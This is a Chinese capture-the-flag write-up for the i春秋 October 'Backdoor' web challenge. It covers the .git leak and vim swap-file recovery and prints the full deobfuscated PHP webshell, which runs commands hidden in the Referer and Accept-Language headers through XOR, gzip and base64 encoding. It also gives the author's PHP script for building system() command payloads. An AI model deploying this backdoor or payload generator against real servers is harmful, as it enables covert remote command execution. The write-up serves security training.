i春秋 “百度杯”CTF比赛 十月场 web题 Backdoor
0x00:
打开题目,题目中告诉我们这题是文件泄露。
0x01:
通过扫描目录,发现可以扫到的有3个文件
index.php
flag.php
robots.txt
但是浏览flag.php它告诉我们这不是真正的flag
又联系到题目文件泄露,于是测试.swp .swo .bak等备份文件后缀均无果。最后发现是.git泄露。
我们浏览这个url
http://6094ef7a9cad4288a4748de8ff8ffc573453e961300f46ce.game.ichunqiu.com/Challenges/.git/
注意到这里返回的是403(请求被拒绝),而不是404(访问无效)。那么这里就可以利用git泄露的脚本下载下来源文件。
这里使用的是rip-git.pl这个脚本,github地址:https://github.com/kost/dvcs-ripper
注:这里用rip-git.pl下载下来的文件是可以查看它上传github的历史记录的。而Githack这个工具虽然能下载文件,但是不能查看历史记录
查看flag.php
查看flag.php的日志
git log flag.php
可以看到他修改了很多次flag.php这个文件,我们回查一下上一次的修改时的内容
git diff 12c6ddf4af0a5542c1cf6a9ab19b4231c1fd9a88 flag.php
commit的值是test那次的值,可以看到在修改前是flag{true_flag_is_in_the_b4cko0r.php}
0x02:
上面那个flag还不是真正的flag,于是我们访问flag提示的文件
http://6094ef7a9cad4288a4748de8ff8ffc573453e961300f46ce.game.ichunqiu.com/Challenges/b4ckdo0r.php
得到下面信息,查看源码也啥都没有:
最后测出来是.swo文件备份,我们把备份下载下来
因为打开是乱码,我把它在下载好后,拖到我的kali虚拟机的桌面上,然后用vim打开备份文件的方式打开
vim -r .b4ckdo0r.php.swo
因为为了研究这个代码,又没法更改备份文件,我们用vim的复制功能把这里面的内容复制到一个新的php文件里面,然后放回我的windows下(因为我很喜欢用windows)
这个代码是混淆过的,但主要看$y和$L和$v这3个变量,分别对应的是
$y = create_function //这里去掉了字符串中的字母b
$L = 把上面的如 $c, $f等字符串变量中的“)m“给去掉
$v = create_function('', $L); 这里是生成一个不带参数的匿名函数,函数内容就是$L的内容。
然后运行$v()函数
根据这个逻辑解开混淆后$L的内容:
把内容打印到我们本地搭建的服务器上,然后查看源码,并整理下就是b4ckdo0r.php源码内容
注意:这里一定要看源码,因为中间有一部分"<"被当做html的标签了,没法完整显示
web本来的页面这里的代码很奇怪
查看源码发现原因,是因为<被当做标签起始了
整理后源码如下:
<?php
$kh="4f7f";
$kf="28d7";
function x($t,$k) {
$c=strlen($k);
$l=strlen($t);
$o="";
for($i=0; $i<$l;) {
for($j=0; ($j<$c&&$i<$l); $j++,$i++) {
$o.=$t{$i}^$k{$j};
}
}
return $o;
}
$r=$_SERVER;
$rr=@$r["HTTP_REFERER"];
$ra=@$r["HTTP_ACCEPT_LANGUAGE"];
if($rr&&$ra) {
$u=parse_url($rr);
parse_str($u["query"],$q);
$q=array_values($q);
preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);
if($q&&$m) {
@session_start();
$s=&$_SESSION;
$ss="substr";
$sl="strtolower";
$i=$m[1][0].$m[1][1];
$h=$sl($ss(md5($i.$kh),0,3));
$f=$sl($ss(md5($i.$kf),0,3));
$p="";
for($z=1; $z<count($m[1]); $z++)
$p.=$q[$m[2][$z]];
if(strpos($p,$h)===0) {
$s[$i]=""; $p=$ss($p,3);
}
if(array_key_exists($i,$s)) {
$s[$i].=$p;
$e=strpos($s[$i],$f);
if($e) {
$k=$kh.$kf;
ob_start();
@eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));
$o=ob_get_contents();
ob_end_clean();
$d=base64_encode(x(gzcompress($o),$k)); print("<$k>$d</$k>");
@session_destroy();
}
}
}
}
解释一下这里的代码(因为我比较菜,通过每一步把变量输出,最后弄清楚搞了3个小时左右)
x($t, $k)函数是个异或函数,第一个参数和第二个参数按位对应异或,如果第二个参数全部异或了一遍,第一个还没结束,又从第二个参数头部从头开始。
$rr是通过http报头的Referer参数传入,我们可控
$rs是通过http报头的accept-language参数传入,我们可控
这里先介绍下accpet-language吧,举个栗子
这里的zh-CN是默认语言,之后每个值以“,(逗号)”隔开,格式为“ 语言;q=权重 ”
那么preg_match_all这个正则所做的事,看着很复杂,我们直接把他输出到自己服务器的web上吧
是一个二维数组,然后$i会取[1][0]和[1][1]的组合值
$h和f分别是 ($i . $kh)和($i . $kf)的md5值的前3个字符这里算出来是675和a3e
这一段代码会看language的语言有多少个,然后$p是以权重的小数部分值为下标,然后取Referer的url中的对应下标的参数的值的组合
这里举个例子,a=1中的1 就是$q[$m[2][0]],b=2中的2 就是$q[$m[2][1]]
然后就是判断$p这个变量前3个是不是675,后3个是不是a3e,最后我们的构造为 "675 + payload + a3e"
然后就是传到eval函数里面了,这里我们要通过eval函数来读目录,然后查看flag
eval中用了很多编码方式,也用到了自定的x($t, $k)这个异或函数,我们依次测试下顺序,就能正确的生成我们的payload,来构造system("ls");
这里异或的规律
a = b ^ c那么 b = a ^ c;这是一个很简单的规律,所以x函数即使编码函数,也是解码函数
最后附上我生成payload和解码返回值的内容的php代码
<?php function x($t,$k) {
$c=strlen($k);
$l=strlen($t);
$o="";
for($i=0; $i<$l;) {
for($j=0; ($j<$c&&$i<$l); $j++,$i++) {
$o.= $t{$i} ^ $k{$j};
}
}
return $o;
} function get_answer($str){
$str = base64_decode($str);
$str = x($str, '4f7f28d7');
$str = gzuncompress($str);
echo $str . "<br>";
} function input($cmd){
$str = 'system("' . $cmd . '");';
$t1 = gzcompress($str);
echo '$t1 = ' . $t1 . "<br>";
$t2 = x($t1, '4f7f28d7');
echo '$t2 = ' . $t2 . "<br>";
$t3 = base64_encode($t2);
echo '$t3 = ' . $t3 . "<br>";
return $t3;
} $ra='zh-CN,zh;q=0.0';
input('ls');
//get_answer(''); ?>
把命令输入input里面,运行这个php脚本就会生成ls命令的payload,而我们accep-language所填内容为 'zh-CN,zh;q=0.0'
于是我们第一次的payload为:
将返回内容填到我们的脚本中,生成解码后的内容
然后生成cat this_i5_flag.php的payload,最后flag在源码中
注:这里我审计代码的时候是采用比较笨的方法,因为源码我们下载了下来,那么我么就可以任意修改,我是把每个地方有值的变化,就直接输出出来,方便更加透彻的理解流程。
i春秋 “百度杯”CTF比赛 十月场 web题 Backdoor的更多相关文章
- [i春秋]“百度杯”CTF比赛 十月场-Hash
前言 涉及知识点:反序列化.代码执行.命令执行 题目来自:i春秋 hash 如果i春秋题目有问题可以登录榆林学院信息安全协会CTF平台使用 或者利用本文章提供的源码自主复现 [i春秋]"百 ...
- i春秋 百度杯”CTF比赛 十月场 login
出现敏感的信息,然后进行登录 登录成功发现奇怪的show 然后把show放到发包里面试一下 出现了源码,审计代码开始 出flag的条件要user 等于春秋 然后进行login来源于反序列化后的logi ...
- i春秋-“百度杯”CTF比赛 十月场-Login
源码发下提示 尝试登陆 得到个什么鬼, 但是相应包里发现个可疑的东西 // CTF中的0 和1 这些一般都有套路的 然后在请求头里 改为 1 ##代码审计来了.. 分析了半天 后来看了别人的 ...
- i春秋——“百度杯”CTF比赛 十月场——EXEC(命令执行、带外通道传输数据)
查看源码得知由vim编写,所以查找备份以及交换文件 找到 /.index.php.swp ,下载后用vim -r恢复该文件即可得到源码 1 <html> 2 <head> 3 ...
- i春秋——“百度杯”CTF比赛 十月场——Not Found(http请求方法,client-ip伪造ip)
这道题也是让我很迷... 打开就是not found,让我一度以为是服务器挂了,细看发现有个404.php 访问也没发现什么东西,只有来自出题人的嘲讽 haha~ 不过在首页的header中发现个奇怪 ...
- i春秋——“百度杯”CTF比赛 十月场——GetFlag(md5碰撞、文件包含、网站绝对路径)
需要提交的captcha满足等式,肯定就是MD5碰撞了 附上脚本 import hashlib def func(md5_val): for x in range(1,100000000): md5_ ...
- i春秋——“百度杯”CTF比赛 十月场——Vld(Vulcan Logic Dumper 、php opcode、sql 报错注入)
打开题目看到提示 "do you know Vulcan Logic Dumper?" ,再查看源码看到"<!-- index.php.txt ?>" ...
- i春秋——“百度杯”CTF比赛 十月场——Login
根据页面源码提示的 test1 test1 登录 刷新此页面并抓包,有个show=0值得关注 在发送的包的header中加一句show:1,即可得到member.php的源码 <?php inc ...
- i春秋“百度杯”CTF比赛 十月场-Vld(单引号逃逸+报错注入)
题目源代码给出了提示index.php.txt,打开拿到了一段看不太懂得东西. 图片标注的有flag1,flag2,flag3,同时还有三段字符,然后还出现了_GET,脑洞一一点想到访问 ?flag1 ...
随机推荐
- Android 常用 adb 命令总结【转】
原文链接 针对移动端 Android 的测试, adb 命令是很重要的一个点,必须将常用的 adb 命令熟记于心, 将会为 Android 测试带来很大的方便,其中很多命令将会用于自动化测试的脚本当中 ...
- kafka系列六、java管理kafka Topic
package com.example.demo.topic; import kafka.admin.AdminUtils; import kafka.admin.RackAwareMode; imp ...
- oracle分区分表
(1) 表空间及分区表的概念表空间: 是一个或多个数据文件的集合,所有的数据对象都存放在指定的表空间中,但主要存放的是表, 所以称作表空间.分区表: 当表中的数据量不断增大,查询数据的速 ...
- eclipse自动编译
自动编译:对java应用没有什么意义,对web应用来说,当修改了代码时,会自动帮你编译并发布到web容器中去,省的重启web容器了. build:编译,Eclipse的编译是基于时间戳的判断机制的.c ...
- WordCloud词云包的安装
1,下载 https://www.lfd.uci.edu/~gohlke/pythonlibs/#wordcloud 2,安装 (window环境安装) 找的下载文件的路径 安装 pip instal ...
- 虚拟机Ubuntu 18.04安装RabbitMQ 3.7.9
Windows 10家庭中文版,VirtualBox,Ubuntu 18.04,Rabbitmq 3.7.9,Erlang/OTP 20 [erts-9.2], 在虚拟机上装好了Ubuntu,写了一个 ...
- 图解 Paxos 一致性协议
转自:http://blog.jobbole.com/106327/ 前言 Paxos 一致性协议可以说是一致性协议研究的起点,也以难以理解闻名.其实协议本身并没有多难理解,它的难理解性主要体现在:为 ...
- Redis的Multi的内幕真相
今天遇到个Redis奇慢的问题,断点分析发现跟multi有关. 由于本人太忙不想去阅读Redis Server的源代码(其实是懒),就通过TCPDump来分析吧. 步骤: 1. 先在Redis Ser ...
- winform(记事本--保存和退出)
- OneNET麒麟座应用开发之五:获取加速度传感器ADXL345数据
由于数据采集站基本都安装在野外或者楼顶,安装位置以及震动对检测数据的准确性有一定影响.所以想要有一个位置状态数据,正好发现麒麟作上有ADXL345,这样一个数字输出的加速度传感器.如图中红框所示: 1 ...